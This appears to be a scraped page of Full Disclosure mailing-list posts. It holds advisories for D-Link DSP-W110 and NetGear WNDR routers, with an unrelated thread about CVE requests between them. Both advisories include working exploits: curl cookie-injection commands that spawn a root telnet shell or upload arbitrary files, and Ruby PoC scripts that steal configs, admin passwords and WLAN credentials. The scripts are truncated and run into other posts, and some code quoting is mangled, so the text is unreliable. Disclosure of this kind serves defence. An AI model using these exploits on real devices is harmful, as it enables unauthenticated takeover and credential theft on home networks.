[FD] D-Link DSP-W110 - multiple vulnerabilities
D-Link DSP-W110 - multiple vulnerabilities
Discovered by:
Peter Adkins peter.adk...@kernelpicnic.net
Access:
Local network; unauthenticated access.
Tracking and identifiers:
CVE - None allocated.
Platforms / Firmware confirmed affected:
D-Link DSP-W110 (Rev A) - v1.05b01
Notes:
* There appears to be a number of references to both 'miiiCasa' as well as
'fitivision' throughout the firmware, which may indicate that these
vulnerabilities could be present in other devices not listed in this
document.
* A copy of this document, as well as the proof of concept below and a
more detailed write-up has been made available via GitHub:
* https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110
Arbitrary command execution / SQL Injection
Patches made to lighttpd by the vendor exposes the device to both SQL
injection, and more interestingly, arbitrary code execution. This is due to
the improper sanitization of data supplied by a client.
As the lighttpd service provides endpoints to be accessed without
authentication, it provides a vector for an attacker to execute arbitrary
commands on the device as the root user via HTTP call without authentication
credentials.
The root cause of this issue is that the contents of an HTTP Cookie, with
any name, is passed verbatim to a sprintf() call in order to form an SQL
query used to validate existing client sessions. By simply performing an
HTTP request against the device with a correctly formatted cookie set,
arbitrary SQL can be executed against the internal SQLite database.
Further to this issue, as this SQL query is passed to a popen() call in
order to execute the query, arbitrary commands are also able to be run on
the device as the root user.
This said, due to the length of the allocated buffer, the value of the
cookie cannot exceed 19 characters. However, as below, 19 characters is
exactly enough to pop a shell on the device.
# Reboot the device.
curl 192.168.1.3/ \
--cookie terribleness='\`reboot\`
# Spawn a root shell (telnet)
curl 192.168.1.3/ \
--cookie terribleness=\`telnetd -l/bin/sh\`
Arbitrary file upload
Patches made to lighttpd by the vendor exposes the device to arbitrary file
upload attacks.
Unfortunately, the only 'filtering' on this resources appears to be a
sprintf() call which statically prefixes a submitted 'dev' argument with
'/www'. However, if a HTTP request is performed without a 'dev' argument
at all, the sprintf() call is never reached, and a fully-qualified path can
be provided in the 'path' parameter - bypassing the upload path restriction.
As a result of the above, this resource can be used to upload files to
any location on the filesystem of devices running vulnerable firmware
versions without authentication.
# Upload arbitrary files to the device.
echo 'Some String' test.txt
curl \
-X POST \
-i \
-F name=@test.txt \
--http1.0 \
'192.168.1.3/web_cgi.cgi?request=UploadFilepath=/etc/'
Diagnostic Information
Patches made to lighttpd by the vendor of this device allows an attacker to
query the device, without authentication, for the following information:
* Current WLAN SSIDs
* Current WLAN channels
* LAN and WAN MAC addressing
* Current firmware version information
* Hardware version information
Although not sensitive information, it may allow for identification of
devices running vulnerable firmware versions.
# Information query.
curl \
192.168.1.3/mplist.txt
Ruby PoC
# DSP-W110-Lighttpd PoC.
require 'pp'
require 'optparse'
require 'restclient'
# Set defaults and parse command line arguments
options = {}
options[:addr] = 192.168.0.60
options[:port] = 80
OptionParser.new do |option|
option.on(--address [ADDRESS], Destination hostname or IP) do |a|
options[:addr] = a
end
option.on(--port [PORT], Destination TCP port) do |p|
options[:port] = p
end
option.parse!
end
# Define which actions we will be using.
actions = [
{
:name = Get device information,
:call = txt_parser,
:path = mplist.txt,
},
{
:name = Snatch configuration,
:call = noop,
:path = HNAP1,
:cookies = { :cookie = `cp /etc/co* /www/` }
},
{
:name = Fetch configuration,
:call = conf_writer,
:path = config.sqlite,
},
{
:name = Enable telnet (root),
:call = noop,
:path = HNAP1,
:cookies = { :cookie = `telnetd -l/bin/sh` }
}
]
def noop(val)
return
end
def txt_parser(txt)
txt.split(/\r?\n/).each do |line|
puts #{line}
end
end
def conf_writer(txt)
begin
f = File.open('./config.sqlite', 'wb')
rescue = e
puts [!] Failed to open config.sqlite for writing #{e.message}
end
f.write(txt)
f.close
puts [*] Configuration fetched into 'config.sqlite'
end
# Iterate over all actions and attempt to execute.
url = http://#{options[:addr]}:#{options[:port]};
puts [!] Attempting to extract information from
Re: [FD] Regarding how can I request a CVE number?
I've encountered a similar issue earlier this year. I'm in the same boat with regards to wondering whether there was a problem with content / submission - despite following the supplied guidelines - or whether the delay in response is due to workload and prioritization. Initially I had responses to requests for CVE assignments from Mitre after around 12 days. However, after replying with the requested information it went dark, and I haven't heard back since. I've sent a few follow-ups, but I've just passed the two month mark with no response, dismissal or assignment. Just chiming in with my recent experience as I'd definitely be interested in hearing whether this is more wide spread, or whether there have been changes to the 'cve-assign' process? Regards, Peter Adkins On Wed, Mar 18, 2015 at 3:32 AM, James Hooker seidrhr...@googlemail.com wrote: Hi XZ, I managed to get a number of CVEs last year, but towards the end of the year they simply stopped replying, so I've given up. Whether they stopped replying due to work load, or whether my submissions were not up to their requirements I'm not sure. If you find out any more, I'd be interested in knowing why they've stopped assigning CVEs to certain submission sources. Kind regards, James H On Tue, Mar 17, 2015 at 11:25 PM, XiaopengZhang tfr...@yeah.net wrote: Hi Guys, I discovered several Vuls and have reported them to the vendors, so I'd like to request the CVE for them.(The vendor did not want to request CVE) I ever sent some emails to cve-ass...@mitre.org for applying for CVE. But so far still nobody replys them. I dont know what happend about this email box. Is my email recognised as spam? Or do I need write the email content in a special format? So please, can somebody here help me? Thanks Best wishes, XZ ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives RSS: http://seclists.org/fulldisclosure/ ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives RSS: http://seclists.org/fulldisclosure/ ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives RSS: http://seclists.org/fulldisclosure/
[FD] NetGear WNDR Authentication Bypass / Information Disclosure
NetGear WNDR Authentication Bypass / Information Disclosure
Reported by:
Peter Adkins peter.adkins () kernelpicnic.net
Access:
Local network; unauthenticated access.
Remote network; unauthenticated access*.
Tracking and identifiers:
CVE - Mitre contacted; not yet allocated.
Platforms / Firmware confirmed affected:
NetGear WNDR3700v4 - V1.0.0.4SH
NetGear WNDR3700v4 - V1.0.1.52
NetGear WNR2200 - V1.0.1.88
NetGear WNR2500 - V1.0.0.24
Additional platforms believed to be affected:
NetGear WNDR3800
NetGear WNDRMAC
NetGear WPN824N
NetGear WNDR4700
Vendor involvement:
2015-01-18 - Initial contact with NetGear regarding vulnerability.
2015-01-18 - NetGear advised to email support with concerns.
2015-01-18 - Email sent to NetGear (support).
2015-01-19 - Email sent to Mitre.
2015-01-20 - NetGear (support) advised that a ticket had been created.
2015-01-21 - NetGear (support) requested product verification.
2015-01-21 - Replied to NetGear with information requested.
2015-01-23 - NetGear (support) requested clarification of model.
2015-01-23 - Replied to NetGear with list of affected models.
2015-01-27 - NetGear (support) replied with router security features.
2015-01-27 - Replied to NetGear and reiterated vulnerability.
2015-01-29 - Email sent to NetGear (OpenSource) regarding issue.
2015-01-30 - Case auto-closure email received from NetGear (support).
2015-02-01 - Reply from Mitre requesting additional information.
2015-02-01 - Email to Mitre with additional information.
2015-02-11 - Vulnerability published to Bugtraq and GitHub.
Mitigation:
* Ensure remote / WAN management is disabled on the affected devices.
* Only allow trusted devices access to the local network.
Notes:
* These vulnerabilities can be leveraged externally over the internet,
but require devices to have remote / WAN management enabled.
* Due to the location of this issue (net-cgi) this vulnerability may be
present in other devices and firmware revisions not listed in this
document.
* In the absence of a known security contact these issues were reported
to NetGear support. The initial response from NetGear support was that
despite these issues the network should still stay secure due to a
number of built-in security features. Attempts to clarify the nature of
this vulnerability with support were unsuccessful. This ticket has since
been auto-closed while waiting for a follow up. A subsequent email sent
to the NetGear 'OpenSource' contact has also gone unanswered.
* If you have a NetGear device that is believed to be affected and can
confirm whether the PoC works successfully, please let me know and I
will update the copy of this document on GitHub (see below) and provide
credit for your findings.
Genie SOAP Service
A number of NetGear WNDR devices contain an embedded SOAP service that
is seemingly for use with the NetGear Genie application. This service
allows for viewing and setting of certain router parameters, such as:
* WLAN credentials and SSIDs.
* Connected clients.
* Guest WLAN credentials and SSIDs.
* Parental control settings.
At first glance, this service appears to be filtered and authenticated;
HTTP requests with a `SOAPAction` header set but without a session
identifier will yield a HTTP 401 error. However, a HTTP request with a
blank form and a `SOAPAction` header is sufficient to execute certain
requests and query information from the device.
As this SOAP service is implemented by the built-in HTTP / CGI daemon,
unauthenticated queries will also be answered over the internet if
remote management has been enabled on the device. As a result, affected
devices can be interrogated and hijacked with as little as a well placed
HTTP query.
The attached proof of concept uses this service in order to extract the
administrator password, device serial number, WLAN details, and various
details regarding clients currently connected to the device.
A copy of this document, as well as the proof of concept below and a
more detailed write-up has been made available via GitHub:
* https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR
Ruby PoC
require 'optparse'
require 'nokogiri'
require 'restclient'
# Set defaults and parse command line arguments
options = {}
options[:addr] = 192.168.1.1
options[:port] = 80
options[:ssl] = false
OptionParser.new do |option|
option.on(--address [ADDRESS], Destination hostname or IP) do |a|
options[:addr] = a
end
option.on(--port [PORT], Destination TCP port) do |p|
options[:port] = p
end
option.on(--[no-]ssl, Destination uses SSL) do |s|
options[:ssl] = s
end
option.parse!
end
# Define which SOAPActions we will be using.
actions = [
{
:name = Fetch password,
:call = lan_config_security_get_info,
:soap = LANConfigSecurity:1#GetInfo
},
{
:name = Fetch WLAN,
:call = wlan_config_get_info,
:soap = WLANConfiguration:1#GetInfo
},
{
:name = Fetch WPA Security
